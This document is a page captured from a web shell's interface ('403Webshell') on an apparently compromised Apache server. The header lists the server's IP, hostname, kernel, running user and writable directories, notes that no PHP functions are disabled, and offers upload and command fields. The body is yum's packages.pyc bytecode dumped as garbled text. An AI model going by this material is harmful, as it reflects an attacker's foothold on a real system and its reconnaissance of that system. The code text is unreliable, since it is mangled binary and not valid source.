403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/yum/packages.pyc
7Jc@sdZddkZddkZddkZddkZddkZddkZddkZddkZddk	l
Z
lZddkl
Z
ddkZddklZlZddkZddkZddkZddkTddkZeiidddkZddkZdZd	Zed
Zddd
ZdfdYZdfdYZ de!fdYZ"de!fdYZ#dfdYZ$de"e#fdYZ%de%fdYZ&dfdYZ'dfdYZ(d d>Z)d d >Z*d d!>Z+d d">Z,d d#>Z-d d$>Z.d d%>Z/d d&>Z0e d'Z1de1_2d(e&fd)YZ3d*e&fd+YZ4dS(,sA
Classes and functions dealing with rpm package representations.
iN(tPopentPIPE(t
RpmUtilsError(tflagToStringtstringToVersion(t*tmediacCs_|i|i|i}}}|i|i|i}}}tii|||f|||fS(s4
    Compare two Package or PackageEVR objects.
    (tepochtversiontreleasetrpmUtilst	miscutilst
compareEVR(tpo1tpo2te1tv1tr1te2tv2tr2((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparePoEVR.scCst|i|i|i}}}|i|i|i}}}||jotS||jotS||jotStS(sA
    Compare two Package or PackageEVR objects for equality.
    (RRR	tFalsetTrue(R
RRRRRRR((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparePoEVREQ5s


cCsPh}xC|D];}|i\}}}}}|p@|i}|i}|i}|i}|i}n|}	d||f}
d||||f}d||f}d|||f}
d|||||f}d|||||f}xR|	|
|||
||gD]5}|i|pg||<n||i|qWq
W|S(stake a list of pkg objects and return a dict the contains all the possible
       naming conventions for them eg: for (name,i386,0,1,1)
       dict[name] = (name, i386, 0, 1, 1)
       dict[name.i386] = (name, i386, 0, 1, 1)
       dict[name-1-1.i386] = (name, i386, 0, 1, 1)       
       dict[name-1] = (name, i386, 0, 1, 1)       
       dict[name-1-1] = (name, i386, 0, 1, 1)
       dict[0:name-1-1.i386] = (name, i386, 0, 1, 1)
       dict[name-0:1-1.i386] = (name, i386, 0, 1, 1)
       s%s.%ss%s-%s-%s.%ss%s-%ss%s-%s-%ss%s:%s-%s-%s.%ss%s-%s:%s-%s.%s(tpkgtuptlowerthas_keytappend(tpkgst	casematchtpkgdicttpkgtntatetvtrtnametnameArchtnameVerRelArchtnameVert
nameVerReltenvratnevratitem((s0/usr/lib/python2.6/site-packages/yum/packages.pytbuildPkgRefDict@s.is$repo-epoch-name-version-release-archcCst|t|}g}g}g}x|D]}|p|i}n|i|o|i||||=q.ti|o|i}	ti	|}
t
i|
}d}x@|	D]8}
|i|
o"|i||
||
=d}qqW|p|i
|q#q.|i
|q.Wti|}|djo"ti|}ti|}n@|djo%d}||}||}ntd||||fS(s,matches up the user request versus a pkg list:
       for installs/updates available pkgs should be the 'others list' 
       for removes it should be the installed list of pkgs
       takes an optional casematch option to determine if case should be matched
       exactly. Defaults to not matching.iis$repo-epoch-name-version-release-archsrepo-pkgkeycSsDh}x1|D])}d|ii|if}|||<q
W|iS(Ns%s%s(trepotidtpkgKeytvalues(RtuR tmark((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	pkguniquessBad value for unique: %s(R.tboolRRtextendtmisctre_globtkeystfnmatcht	translatetretcompiletmatchRtuniquet
ValueError(RtusercommandsRR@Rt
exactmatchtmatchedt	unmatchedtcommandttrylisttrestringtregextfounditR-R5((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
parsePackagesbsF

	
tFakeSackcBs eZdZdZdZRS(s, Fake PackageSack to use with FakeRepositorycCsdS(N((tself((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__init__scCsdS(sNdelete a pkgobject, do nothing, but make localpackages work with --skip-brokenN((RMtobj((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
delPackages(t__name__t
__module__t__doc__RNRP(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRLs	tFakeRepositorycBs;eZdZdZdZdZdZdZRS(s8Fake repository class for use in rpmsack package objectscCst}d|jotii|}t}n|ido|d }t}ng}|o|idnx8|D]0}t|djo
d}n|i|qxWdi||_	dS(s? Set the repoid, but because it can be random ... clean it up. t/s.rpmiit?tN(
RtostpathtbasenameRtendswithRtordtjoinR0(RMtrepoidt	pathbasedtbytestbyte((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_set_cleanup_repoids 




cCs|i|t|_dS(N(RbRLtsack(RMR^((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs
cCs8|i|ijodS|i|ijodSdSdS(Niii(R0(RMtother((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__cmp__s
cCs
t|iS(N(thashR0(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__hash__scCs|iS(N(R0(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__str__s(RQRRRSRbRNReRgRh(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRTs				t
PackageObjectcBseZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZeddZdZRS(sZBase Package Object - sets up the default storage dicts and the
       most common returnscCs:d|_d|_d|_d|_d|_g|_dS(N(tNoneR&RR	Rtarcht
_checksums(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs					cCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(Nt0s%s-%s-%s.%ss%s:%s-%s-%s.%s(RR&RR	Rk(RMtout((s0/usr/lib/python2.6/site-packages/yum/packages.pyRhs		
cCsE|pdSt|i|i}|djot||}n|S(s< Compare package to another one, only rpm-version ordering. ii(tcmpR&R(RMRdtret((s0/usr/lib/python2.6/site-packages/yum/packages.pytverCMPs
cCs|i|}|djot|i|i}n|djo9t|do)t|dot|i|i}n|S(s4 Compare packages, this is just for UI/consistency. iR^(RqRoRkthasattrR^(RMRdRp((s0/usr/lib/python2.6/site-packages/yum/packages.pyRes
-cCs@|ptS|i|ijotS|i|ijotStS(se Compare packages for yes/no equality, includes everything in the
            UI package comparison. (RRR^R(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__eq__scCs||jptStS(N(RR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__ne__s
cCs@|ptSt|i|i}|djotSt||S(s< Compare package to another one, only rpm-version equality. i(RRoR&R(RMRdRp((s0/usr/lib/python2.6/site-packages/yum/packages.pytverEQs
cCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is <  ours. i(Rq(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pytverLTscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is <= ours. i(Rq(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pytverLEscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is >  ours. i(Rq(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pytverGTscCs|i|djS(s; Uses verCMP, tests if the other _rpm-version_ is >= ours. i(Rq(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pytverGE!scCs)d|iit|tt|fS(Ns<%s : %s (%s)>(t	__class__RQtstrthexR0(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__repr__%scCs&tidtiddt||S(Ns8returnSimple() will go away in a future version of Yum.
t
stackleveli(twarningstwarntErrorstYumFutureDeprecationWarningtgetattr(RMtvarname((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnSimple(s	cCs|iS(N(Rl(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnChecksums-stfgetcCs
|iS((R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt<lambda>0scCs3x,|iD]!\}}}|o||fSq
WdS(N(t	checksums(RMtcsumtypetcsumtcsumid((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnIdSum2s
(RQRRRSRNRhRqReRsRtRuRvRwRxRyR}RRtpropertyRR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRis"							
									tRpmBasecBseZdZdZdZdZdZdZedZ	dZ
dZd	Zd
Z
ddZd
ZdZdZddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZeddZ edd Z!edd!Z"edd"Z#edd#Z$RS($s2return functions and storage for rpm-specific datacCsh|_g|id<g|id<g|id<g|id<h|_g|id<g|id<g|id<g|_g|_d|_dS(Nt	obsoletest	conflictstrequirestprovidestfiletdirtghost(tprcotfilest
_changelogtlicensesRjt_hash(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRN:s	



	


		cCs@|ptS|i|ijotS|i|ijotStS(N(RRR^R(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsJscCs||jptStS(N(RR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyRtRs
cCst|i|i|iS(N(t
PackageEVRRRR	(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	returnEVRWscCs[|idjoDd|ii|i|i|i|i|if}t	||_n|iS(Ns%s - %s:%s-%s-%s.%s(
RRjR/R0RR&RR	RkRf(RMtmystr((s0/usr/lib/python2.6/site-packages/yum/packages.pyRgZs
cCsgg}|ii|o|i|}n|o2g}x$|D]}|iti|q>W|S|S(s9return list of provides, requires, conflicts or obsoletes(RRRR8tprco_tuple_to_string(RMtprcotypet	printabletprcostresultsR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
returnPrcoasc
CsV|ii|pdSt|i|djo||i|jodSnt|dp)hd	d6d	d6d	d6d	d6|_n|i|d	jot|i||i|<n||i|jodStox|\}}\}}}|d	j	o|i||Sx?|i	|D]*\}}	\}
}}||jodSq WndS(
sBreturns 1 or 0 if the pkg contains the requested tuple/tuple rangeiiit_prco_lookupRRRRN(
RRtlenRrRjRtsetRtinPrcoRangeR(
RMRt	prcotupletreqntreqftreqetreqvtreqrR!tfR#R$R%((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	checkPrcops*	


cCst|i||S(sreturns true if the package has a the prco that satisfies 
           the reqtuple range, assume false.
           Takes: prcotype, requested prco tuple(R6t
matchingPrcos(RMRtreqtuple((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs6|\}}\}}}g}x|i|D]\}	}
\}}}
||	joq.n|
djo
d}
n|
djo_|djoR|djo
|i}n|djo
|i}n|
djo
|i}
qntii||	|
|||
ff}|o#|i|	|
|||
ffq.q.W|S(Nt=tEQR(	RRjRtvertrelR
RtrangeCompareR(RMRRRRRRRtresultR!RR#R$R%RD((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(







	'cCs|iS(sreturn changelog entries(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnChangelogsRcCs1|io#|ii|o|i|SngS(s"return list of files based on type(RR(RMtftype((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnFileEntriess
cCs
|iiS(s,return list of types of files in the package(RR:(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnFileTypesscCs@g}|i|}x$|D]\}}}|i|qW|S(N(RR(RMRRtlistsR&tflagtvertup((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnPrcoNamesscCs tidtidd|iS(Ns<getProvidesNames() will go away in a future version of Yum.
R~i(RRRtYumDeprecationWarningtprovides_names(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytgetProvidesNamess	RcCs-|io|ii|o|i|SgS(N(RR(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pytsimpleFilessRcCs|iddS(RR(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|iddS(RR(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|iddS(RR(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|idS(R(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|idtS(R(RR(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|idtS(R(RR(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|idtS(R(RR(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|idtS(R(RR(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|iS((R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs
|iS((R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs(%RQRRRSRNRsRtRRgRRRRRRRRRRRRtfilelisttdirlistt	ghostlistRRRRRtrequires_namestconflicts_namestobsoletes_namestprovides_printtrequires_printtconflicts_printtobsoletes_printt	changelogtEVR(((s0/usr/lib/python2.6/site-packages/yum/packages.pyR7sB						"						RcBsVeZdZdZdZdZdZdZdZdZ	dZ
RS(	sB
    A comparable epoch, version, and release representation.
    cCs1||_||_||_||_||_dS(N(RRRRR	(RMR#R$R%((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs
				cCs7tii|i|i|if|i|i|ifS(N(R
RRRRR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pytcomparescCs|i|djotStS(Ni(RRR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__lt__scCs|i|djotStS(Ni(RRR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__gt__scCs|i|djotStS(Ni(RRR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__le__scCs|i|djotStS(Ni(RRR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__ge__scCs
t||S(N(R(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsscCs||jptStS(N(RR(RMRd((s0/usr/lib/python2.6/site-packages/yum/packages.pyRts
(RQRRRSRNRRRRRRsRt(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs							tYumAvailablePackagecBseZdZd%dZdZdZdZdZdZ	dZ
edd	Zee	Z
ee
Zd
ZeeZdZeeZdZeeZd
ZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"d%dZ#dZ$e%dZ&dZ'dZ(d Z)d!Z*d"Z+d#d$Z,RS(&s}derived class for the  packageobject and RpmBase packageobject yum
       uses this for dealing with packages in a repositorycCsti|ti||i|_||_d|_t|_	d|_
|djo)|i||i|_
|i|_n|i|i|i|i|if|_dS(N(RiRNRR0R^R/RjtstateRt_loadedfilest_verify_local_pkg_cachetimportFromDictRRR	RR&RkRR(RMR/R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs

				

cCs|iii|dS(sremove self from package sackN(R/RcRP(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytexclude.scCsJ|idjo d|i|i|if}nd|i|if}|S(sAreturns a printable version string - including epoch, if it's setRms%s:%s-%ss%s-%s(RRR	(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pytprintVer2s cCs#|i}d|i|i|fS(Ns%s.%s %s(RR&Rk(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pytcompactPrint;scCs|iS(N(tpackagesize(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_size?scCs|iS(N(trelativepath(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_remote_pathBscCs`|i}|o3|ddjo|d}nti||iSti|iid|iS(sreturns a URL that can be used for downloading the package.
        Note that if you're going to download the package in your tool,
        you should use self.repo.getPackage.iRUi(tbasepathturlparseturljointremote_pathR/turls(RMtbase((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_remote_urlEs	RcCs
|iS((R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRQscCst|do|iSd}t|ip|i|_|iS|idd}||}|id}|djo|d|d!}n||_|iS(sDReturns the name of the last person to do a commit to the changelog.t_committer_retcSsNg}x8|D]0}t|djo
d}n|i|q
Wdi|S(s6 does .encode("ascii", "replace") but it never fails. iRVRW(R\RR](txRptval((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_nf2ascii[s
iis> i(RrRRRtpackagertfind(RMRRtix((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
_committerUs		
	cCsWt|do|iSt|ip|i|_|iS|idd|_|iS(s5Returns the time of the last commit to the changelog.t_committime_reti(RrRRRt	buildtime(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_committimetscCs|iddS(sReturns the 'default' checksumii(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	_checksumscCsj|idjodSti|i\}}}}}|djo#t|djodSt|SdS(NRi(RRjRturlsplitRtint(RMtschemetnetlocRYtquerytfragid((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
getDiscNums!
cCs4|i}tii}tii||}|S(N(tlocalPkgR
ttransactiontinitReadOnlyTransactionRthdrFromPackage(RMtrpmfilettsthdr((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnHeaderFromPackagescCs{tii|ioRy#ti|i}|d}Wqwtitfj
oti	dqwXn
ti	d|S(sTreturns an rpm header object from the package object's local
           header cacheisCannot open package headersPackage Header Not Available(
RXRYtexiststlocalHdrtrpmtreadHeaderListFromFileterrort
IndexErrorRt	RepoError(RMthlistR((s0/usr/lib/python2.6/site-packages/yum/packages.pytreturnLocalHeaderscCsGt|dp0tii|i}|iid||_n|iS(sBreturn path to local package (whether it is present there, or not)t	localpathRU(RrRXRYRZRR/tpkgdirR
(RMtrpmfn((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCsUt|dp>tii|i}|d d}|iid||_n|iS(sWreturn path to local cached Header file downloaded from package 
           byte rangesthdrpathis.hdrRU(RrRXRYRZRR/thdrdirR(RMtpkgnamethdrname((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs
cCsyti|i}Wntj
o
}tSXt|doh|io^|i}|i|ijo>|i|ijo+|i	|i	jo|i
|i
jotSn|i\}}y%t
i||id|i}Wntij
otSX||jotS||_tS(s^check the package checksum vs the localPkg
           return True if pkg is good, False if notRtdatasize(RXtstatRtOSErrorRRrRtst_inotst_devtst_mtimetst_sizeRRR8tchecksumRRt	MiscError(RMtnstR#tostt	csum_typeRtfilesum((s0/usr/lib/python2.6/site-packages/yum/packages.pytverifyLocalPkgs,
		
	cCs&tidtiddti|S(s1convert the prco tuples into a nicer human strings9prcoPrintable() will go away in a future version of Yum.
R~i(RRRRR8R(RMt	prcoTuple((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
prcoPrintables	cCs|iS(s.return a list of requires in normal rpm format(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pytrequiresListscCs|i|idfgS(Ni(t
checksum_typetpkgId(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCst|doI|i\}}}}}||_||_||_||_||_nt|do$|id|_|id|_	nt|do4|i
d|_|i
d|_|i
d|_
nt|d	oe|iid
p
d-}n,|id
djo
d-}n|id
}||_|id|_nt|d
o$|id|_|id|_nt|dosx=ddddddddgD]}t|||i|qW|iidd|_|ii|idnt|do]xZ|iD]K}	|i|	}
|ii|
pg|i|
<n|i|
i|	qWnt|dox|iD]}x|i|D]}|d}
d-}}}}|ido|d}n|ido|d}n|id o|d }n|id!o|d!}n|i|i|
||||ffqWqWnt|d"ox|iD]}d-}}}|id#o|d#}n|id$o|d$}n|id%o|d%}n|ii|||fq~Wnt|d&o|i d'}|i d$}|i d(}|d-jp|i!d)jo
d*}n$|i!d+jo
d,}nd*}|i"i|||fnd-S(.s^handles an mdCache package dictionary item to populate out 
           the package informationR,ttimetbuildRtsizetpackagetarchivet	installedtlocationRRWthrefthdrangetstarttendtinfotsummarytdescriptionRtgroupt	buildhostt	sourcerpmturltvendors
tlicenseRRR&tflagsRRRRtdatetvaluetauthorRttypetpkgidtNOitYESiN(#RrR,R&RRRkR	R'RtfiletimeR)Rtarchivesizet
installedsizeR-RRjRRR/thdrstartthdrendtsetattrR2R3treplaceRRRRRRRtupperRl(RMRR!R#R$R%R"R8R-tfnRtrtypetrdictR&RtcdictR<ttextR>tctypeRR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs				



	



2
!


 

cCs\tii|i}tii|i}dti|dtti|dtf}|S(Ns$<location xml:base="%s" href="%s"/>
tattrib(RXRYtdirnamet
remote_urlRZR8tto_xmlR(RMRR.tmsg((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_return_remote_locationBs
+cCsd}}|iotiti|i}n|iotiti|i}n|id\}}}d|i|i|i|i	|i
||titi|ititi|i|||i
|i|i|i|if}||i7}|S(NRWis3
  <name>%s</name>
  <arch>%s</arch>
  <version epoch="%s" ver="%s" rel="%s"/>
  <checksum type="%s" pkgid="YES">%s</checksum>
  <summary>%s</summary>
  <description>%s</description>
  <packager>%s</packager>
  <url>%s</url>
  <time file="%s" build="%s"/>
  <size package="%s" installed="%s" archive="%s"/>
(RR8t
to_unicodeRTR8RR&RkRRRR3R4RCRRR)RDRV(RMRR8RRRRU((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_base_itemsJs


	cCszd}|io|dti|i7}n|d7}|io|dti|i7}n|d7}|io|dti|i7}n|d7}|io|dti|i7}n|d	7}|io|d
ti|i7}n|d|i|if7}||i	d7}||i
7}||i	d
7}||i	d7}||it7}|d7}|S(Ns  <format>
s"    <rpm:license>%s</rpm:license>
s    <rpm:license/>
s     <rpm:vendor>%s</rpm:vendor>
s    <rpm:vendor/>
s    <rpm:group>%s</rpm:group>
s    <rpm:group/>
s&    <rpm:buildhost>%s</rpm:buildhost>
s    <rpm:buildhost/>
s&    <rpm:sourcerpm>%s</rpm:sourcerpm>
s+    <rpm:header-range start="%s" end="%s"/>RRRs
  </format>(
R:R8RTR9R5R6R7RFRGt	_dump_pcot_dump_requirest_dump_filesR(RMRU((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_format_itemsgs0









c
Cs7d}t||}|od|}nx|D]\}}\}}}dti|dt}	|o|	dti|dt7}	|o!|	dti|dt7}	n|o!|	dti|dt7}	n|o!|	dti|dt7}	qn|	d	7}	||	7}q1W|o|d
|7}n|S(NRWs
    <rpm:%s>
s      <rpm:entry name="%s"RQs flags="%s"s epoch="%s"s	 ver="%s"s	 rel="%s"s/>
s
    </rpm:%s>(RR8RTR(
RMtpcotypeRUtmylistR&R;R#R$R%t	pcostring((s0/usr/lib/python2.6/site-packages/yum/packages.pyRYs(!!%
cCssh}|djo|id}nx@|D]8}|djoq-nti|od||<q-q-W|iS(NRi(RjRR8tre_primary_filenameR:(RMt
list_of_filestreturnsR-((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_return_primary_filess

cCs\h}xI|idD]8}|djoqnti|od||<qqW|iS(NRi(RRjR8tre_primary_dirnameR:(RMRbR-((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_return_primary_dirss
c	Csd}|p1|id}|id}|id}n4|i}|id|id}|i}x%|D]}|dti|7}qxWx%|D]}|dti|7}qWx%|D]}|dti|7}qW|S(	NRWRRRRas    <file>%s</file>
s    <file type="dir">%s</file>
s!    <file type="ghost">%s</file>
(RRcReR8RT(RMtprimaryRURtdirstghostsRK((s0/usr/lib/python2.6/site-packages/yum/packages.pyR[s$cCs
tdS(N(tNotImplementedError(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_requires_with_presc
Cs_|i}d}|o
d}nx |D]\}}\}}}}|idoq*ndti|dt}	|o|	dti|dt7}	|o!|	dti|dt7}	n|o!|	dti|dt7}	n|o!|	d	ti|dt7}	qn|o|	d
|7}	n|	d7}	||	7}q*W|o|d7}n|S(
sreturns deps in formatRWs
    <rpm:requires>
srpmlib(s      <rpm:entry name="%s"RQs flags="%s"s epoch="%s"s	 ver="%s"s	 rel="%s"s	 pre="%s"s/>
s    </rpm:requires>(Rjt
startswithR8RTR(
RMR^RUR&R;R#R$R%tpret
prcostring((s0/usr/lib/python2.6/site-packages/yum/packages.pyRZs0
!!%
cCs|ipdSd}|p
|i}n|i| }x[t|D]M\}}}|dti|dttit|ti|f7}qCW|S(NRWs
s0<changelog author="%s" date="%s">%s</changelog>
RQ(RtreversedR8RTRR{(RMt
clog_limitRUtclogsRR>tcontent((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_dump_changelogs



$cCsOd}|ti|i7}|ti|i7}|d7}ti|S(Ns
<package type="rpm">s
</package>(R8RWRXR\tto_utf8(RMRU((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_primary_metadatas

cCs^d|i|i|i|i|i|if}|ti|i7}|d7}ti	|S(NsV
<package pkgid="%s" name="%s" arch="%s">
    <version epoch="%s" ver="%s" rel="%s"/>
s</package>
(
RR&RkRRRR8RWR[Rs(RMRU((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_filelists_metadatas

icCs[d|i|i|i|i|i|if}|dti|i|7}ti	|S(NsV
<package pkgid="%s" name="%s" arch="%s">
    <version epoch="%s" ver="%s" rel="%s"/>
s%s
</package>
(
RR&RkRRRR8RWRrRs(RMRoRU((s0/usr/lib/python2.6/site-packages/yum/packages.pytxml_dump_other_metadatas N(-RQRRRSRjRNRRRRRRRR)RRSRt	committerRt
committimeRRRRRRRR!R#R$RRRVRXR\RYRcReRR[RjRZRrRtRuRv(((s0/usr/lib/python2.6/site-packages/yum/packages.pyRsP									
		
					"				X			"		
					tYumHeaderPackagecBseZdZdZdZedZdZdZdZ	dZ
dZd	Zd
Z
ddZd
ZdZdZdZdZRS(s'Package object built from an rpm headercCsti||||_ti|id|_|id}|p
d}nti||_ti|i|_ti|id|_	ti|id|_
|i	|_|i
|_|i|i|i|i	|i
f|_
|idpd|_ti|iidd|_|id	pd|_ti|i|_|iti|_|ip%d
|id|idf|_n|id|_h|_t|_d
S(sGhand in an rpm header, we'll assume it's installed and query from thereR&RktnoarchRR	R3RWs
R4s%s.%sRR)N(RRNRR8t
share_dataR&RktdoepochRRR	RRRR3RIR4RtRPMTAG_SHA1HEADERR@Rt_YumHeaderPackage__mode_cacheRt _YumHeaderPackage__prcoPopulated(RMR/Rtthis_a((s0/usr/lib/python2.6/site-packages/yum/packages.pyRNs.	

'!
%	cCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(NRms%s-%s-%s.%ss%s:%s-%s-%s.%s(RR&RR	Rk(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRh/scCs4|ip|it|_nti|||S(N(Rt
_populatePrcoRRR(RMRR((s0/usr/lib/python2.6/site-packages/yum/packages.pyR8s


cCs|iS(N(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyt_get_hdr>sc	CsOhtidd6tidd6tidd6tidd6}|i}x|D]}|ttd	|}tti|}|d
joqYn|ttd
|}ttii	|}tti|}|ttd|}ttii
|}td|}||}ttit||||i|<qYWd
S(s;Populate the package object with the needed PRCO interface.RtOBSOLETERtCONFLICTRtREQUIRERtPROVIDEs
RPMTAG_%sNAMEsRPMTAG_%sFLAGSsRPMTAG_%sVERSIONcSs4ti|dti|dti|dfS(iii(R8R{(R((s0/usr/lib/python2.6/site-packages/yum/packages.pyRUs N(
R8R{RRRtmapRjR
RRRtzipR(	RMttag2prcoRttagR&tlstRtversR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRAs(
		
cCsTtidtiddyt||SWn#tj
otid|nXdS(Ns6tagByName() will go away in a furture version of Yum.
R~isUnknown header tag %s(RRRRRtAttributeErrorR(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pyt	tagByName[s	cCss|ido'|idotd||fny|i|SWn&tj
otd||fnXdS(Nt__s%s has no attribute %s(RkR[RRtKeyError(RMtthing((s0/usr/lib/python2.6/site-packages/yum/packages.pyt__getattr__cs cCs4|id}|djo
d}n
t|}|S(NRRm(RRjR{(RMttmpepochR((s0/usr/lib/python2.6/site-packages/yum/packages.pyR|qs



cCs|iS(N(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRzsc	CsP|id}|id}|id}t|||}|ip	x|D]\}}}|djp
|djo?|iidpg|id<n|idi|qJn|ii|pti	||i|<nd}|i|o
d}n#|dj	o|d@o
d}n|ii
|gi|qJWt|_ndS(	Nt	filenamest	fileflagst	filemodesRWRRi@R(RRRRjRRRR~RtS_ISDIRt
setdefaultR(	RMRRRt	filetupleRKtmodeRtfkey((s0/usr/lib/python2.6/site-packages/yum/packages.pyt
_loadFiles~s*





 RcCs|iti||S(s"return list of files based on type(RRR(RMR((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs
cCsqt|iddjoStti|idddti|idddti|idddSgS(Nt
changelognameit
changelogtimeterrorsRIt
changelogtext(RRRR8RW(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRs
cCs
tdS(N(Ri(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs|idS(NR)(R(RM((s0/usr/lib/python2.6/site-packages/yum/packages.pyRscCs6|dj	o%|titiBtiB@odSndS(sncheck the flags for a requirement, return 1 or 0 whether or not requires
